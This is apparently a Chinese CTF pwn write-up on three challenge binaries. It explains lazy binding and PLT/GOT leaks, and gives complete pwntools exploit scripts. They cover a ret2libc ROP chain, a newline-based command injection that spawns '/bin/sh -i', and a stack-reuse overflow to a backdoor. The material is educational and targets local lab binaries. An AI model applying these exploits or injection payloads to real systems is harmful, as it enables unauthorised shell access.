动态链接和延迟绑定
一些来自动态连接库的函数,是在第一次调用的时候才会真正加载程序的地址,这就是延迟绑定,而这一个过程主要通过plt 表和 got 表来实现,
其中 plt 是程序连接表,而 got表 是全局偏移表,程序在运行时,首次调用一个函数 假设为printf 的时候,程序会调用 plt,通过plt跳转到,对应的got表之中
但是在第一次调用的时候,got表中存放的不是函数的确切地址而是跳转回 plt中下一条指令的地址,而这个下一条 指令会将 代表这个函数的标识符压入栈中,此时链接器ld工作根据这个压入的标识符找到目标函数的真实位置,然后跟新GOT,此时GOT表中的地址就是该函数真实的地址,所以通过这个特性,我们可以通过泄露出的GOT更新前后的地址,分别求出libc(c 标准库)和elfbase(程序)的基址,来进行进一步的攻击
例题 MEOCTF easylibc
通过checksec ./pwn 发现程序开启了如下保护
[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/base/ezlibc/ezlibc/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: NoASLR PIE 让我们不能直接获取函数的地址,所以需要求出程序的基地址,通过ida 发现其中有大量 ender64, 所以也不能直接使用pwntool 获取函数的偏移
通过ida分析发现存在如下关键函数
int __fastcall main(int argc, const char **argv, const char **envp){ setbuf(_bss_start, 0); printf("What is this?\nHow can I use %p without a backdoor? Damn!\n", &read); vuln(); puts("Something happening"); return 0;}ssize_t vuln(){ _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x60u);}其中 printf泄露出了 read 第一次调用前的地址,它所指向的是 plt下一条指令的地址,所以可以通过gdb 调试出并计算出程序的基地址, 函数vlun 存在栈溢出漏洞
思路,我们可以有如下攻击思路,第一次构建rop 将再次调用main 函数利用printf("What is this?\nHow can I use %p without a backdoor? Damn!\n", &read); 这条指令算出read 的真实地址,
加上此前泄露出的plt地址我们可以算出 程序的基地址和libc 的基地址,为第二次 ret2libc 攻击提供条件
所以我们可以构建出如下脚本
from pwn import *
context.log_level = "debug"elf = ELF("./pwn")# libc = ELF("./libc.so.6")libc = ELF("libc.so.6")
# p = process("./pwn")p = remote('127.0.0.1', 43527)
# 获取泄露出来的 read 地址获取程序基地址p.recvuntil(b"use")readLeakStr = str(p.recvline()).split(" ")[1]readLeakAddr = int(readLeakStr, 16)log.info(f" function@read:{ hex(readLeakAddr) }")
elfBase = readLeakAddr - 0x1060 # 因为 plt的延迟绑定 导致无法准确获取正确偏移 gdb 调试得出
log.info(f"address@elfBase: {hex(elfBase)}")# input(f"$ pwndbg -p {p.pid} ######")# 我们需要构建一个rop 在次执行 main 函数 泄露出 read 函数的真实地址mainAddr = elfBase + 0x11EE # 存在endr64offset = 32payload = flat([ b"a" * offset, p64(elfBase + 0x40A0), # 存疑 p64(mainAddr)])p.sendline(payload)
p.recvuntil(b"use")readLeakStr = str(p.recvline()).split(" ")[1]readLeakAddr = int(readLeakStr, 16)log.info(f"function@read:{ hex(readLeakAddr) }")# 此时 readLeakAddr 为真实地址
libc.address = readLeakAddr - libc.symbols["read"]log.info(f"Address@libcBase:{hex(libc.address)}")
ret = 0x29139 + libc.addressrdi = 0x2a3e5 + libc.address
systemAddr = libc.symbols["system"]binshAddr = next(libc.search("/bin/sh"))
payload = flat([ b"a" * offset, p64(elfBase + 0x4500), p64(ret), p64(rdi), p64(binshAddr), p64(systemAddr)])
p.send(payload)p.interactive()总结
要注意 对于可能的libc 函数的调用泄露,要注意是否调用过否则,否则只会调用出错误的地址, 对于 endr64的处理方法,可以尝试 使用传统函数序言的地址,绕过检测
inject
除了使用栈溢出的方式,找出漏洞,有时候程序的逻辑漏洞也可以是利用点
例题 MEOCTF inject
下载目标文件发现 保护全开
[*] '/home/yoyo/yoyo_dir/MyProject/aboutPwn/base/inject/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No通过ida分析发现没有可以利用的漏洞
unsigned __int64 ping_host(){ _QWORD *p_buf; // rsi size_t v1; // rax char *Invalid_hostname_or_IP; // rdi unsigned __int64 result; // rax char v4; // [rsp+1h] [rbp-51h] _QWORD buf[2]; // [rsp+2h] [rbp-50h] BYREF char command[40]; // [rsp+12h] [rbp-40h] BYREF unsigned __int64 v7; // [rsp+3Ah] [rbp-18h]
v7 = __readfsqword(0x28u); buf[0] = 0; buf[1] = 0; _printf_chk(1, "Enter host to ping: "); p_buf = buf; if ( read(0, buf, 0xFu) <= 0 ) exit(1); v1 = strlen((const char *)buf); if ( *(&v4 + v1) == 10 ) *(&v4 + v1) = 0; if ( check((const char *)buf) ) { p_buf = &qword_20; _snprintf_chk(command, 32, 1, 32, "ping %s -c 4", (const char *)buf); Invalid_hostname_or_IP = command; execute(command); } else { Invalid_hostname_or_IP = "Invalid hostname or IP!"; puts("Invalid hostname or IP!"); } result = v7 - __readfsqword(0x28u); if ( result ) _stack_chk_fail(Invalid_hostname_or_IP, p_buf); return result;}
_BOOL8 __fastcall check(const char *s){ return strpbrk(s, ";&|><$(){}[]'\"`\\!~*") == 0;}通过观察 _snprintf_chk(command, 32, 1, 32, "ping %s -c 4", (const char *)buf); 这个指令,存在格式化字符串漏洞的可能,于是我们只需要找出合适的方法将 ping %s -c 4 拆成两个指令的方式
就可以获取的到shell, 而check 函数中函数没有过滤掉\n # 等字符,所以我们可以写出如下脚本
from pwn import *
context.log_level = "debug"
p = process('./pwn')# p = remote('127.0.0.1', 44777)
# 使用完整的 shell 路径和交互参数payload = b"\n"payload += b"/bin/sh -i\n"# payload = "127.0.0.1"
# p.recvuntil(b"choice: ")# print(p.recv())p.sendlineafter(b'choice: ', b'4')p.sendlineafter(b'ping: ', payload)p.interactive()总结
在常规攻击方法找不到的时候可以尝试去寻找一些逻辑漏洞
未初始化缓冲区
由于rsp,rbp 这个两个寄存器只是规定栈的范围,所以栈上的数据不会无缘预估的被清理,所以在遇见未初始化的变量的时候考虑一下,栈复用的机制,使用gdb调试查看栈的变化
例题 MEOCTF xdulaker
通过 checksec ./pwn 发现程序存在如下保护
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No通过ida分析发现有如下关键函数
int __fastcall __noreturn main(int argc, const char **argv, const char **envp){ init(argc, argv, envp); menu(); while ( 1 ) { while ( 1 ) { putchar(62); __isoc99_scanf("%d", &opt); if ( opt != 1 ) break; pull(); } if ( opt == 2 ) { photo(); } else { if ( opt != 3 ) exit(0); laker(); } }}
ssize_t laker(){ _BYTE s1[48]; // [rsp+0h] [rbp-30h] BYREF
if ( memcmp(s1, "xdulaker", 8u) ) { puts("You are not him."); exit(0); } puts("welcome,xdulaker"); return read(0, s1, 0x100u);}
int pull(){ return printf("Thanks,I'll give you a gift:%p\n", &opt);}
int photo(){ _BYTE buf[80]; // [rsp+0h] [rbp-50h] BYREF
puts("Hey,what's your name?!"); read(0, buf, 0x40u); return puts("I will teach you a lesson.");}
int backdoor(){ return system("/bin/sh");}其中 pull 函数可以让我们知道 opt 在函数中的实际地址,从而绕过pie保护获取程序的基地址,保护获取后门函数的地址,同时我们可以看到函数xdulaker 存在栈溢出漏洞,同时使用了,没有初始化的缓冲区
而photo 则是一个普通的函数,但是通过gdb调试发现在photo 函数的缓冲区中的第32字节后面的内容会被laker函数的缓冲区中访问到,然后就能够绕过laker 函数的判断,让我们能够控制可以造成栈溢出的函数
于是可以构建出如下脚本
from pwn import *
context.log_level = "debug"
elf = ELF("./pwn")libc = ELF("./libc.so.6")
# p = process("./pwn")p = remote("127.0.0.1", 45249)
# 获取整个程序的基地址p.sendlineafter(b'>', b'1')p.recvuntil(b':')optRealAddr = int(p.recv(14), 16)# optRealAddr = int(optRealAddrStr, 16)
log.info(f"Find The opt Address {hex(optRealAddr)}")
# 计算 程序的基地址 & 一些其他函数的地址# optSym = 0x4010optSym = elf.symbols["opt"]elf.address = optRealAddr - optSymprint(hex(optSym))
bkdAddr = elf.address + 0x124E # 为什么不是函数开头 因为存在 endbr64 需要手动存入传统的函数序言 # mov rbp, rsplog.info(f"program base address: {hex(elf.address)}")log.info(f"Address@backdoor: {hex(bkdAddr)}")
# 栈溢出# p.recvuntil(b">")p.sendline(b"2")p.recvuntil(b"\n")payload1 = flat([ b"a" * 0x20, # 32 b"xdulaker" # 由于栈的复用机制,s1 的在初始有 photo 函数 0x20 后边的内容])p.sendline(payload1)p.recvuntil(b">")p.sendline(b"3")p.recvuntil(b"ker")
offset = 0x38payload2 = flat([ b"a" * offset, p64(bkdAddr),])print(payload2)p.sendline(payload2)p.interactive()总结
当遇到程序访问没有初始化数据的缓冲区等类似性质的变量,可以尝试利用gdb调试栈中的状态,可能能通过栈的分布为后续栈溢出攻击创造条件,
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时










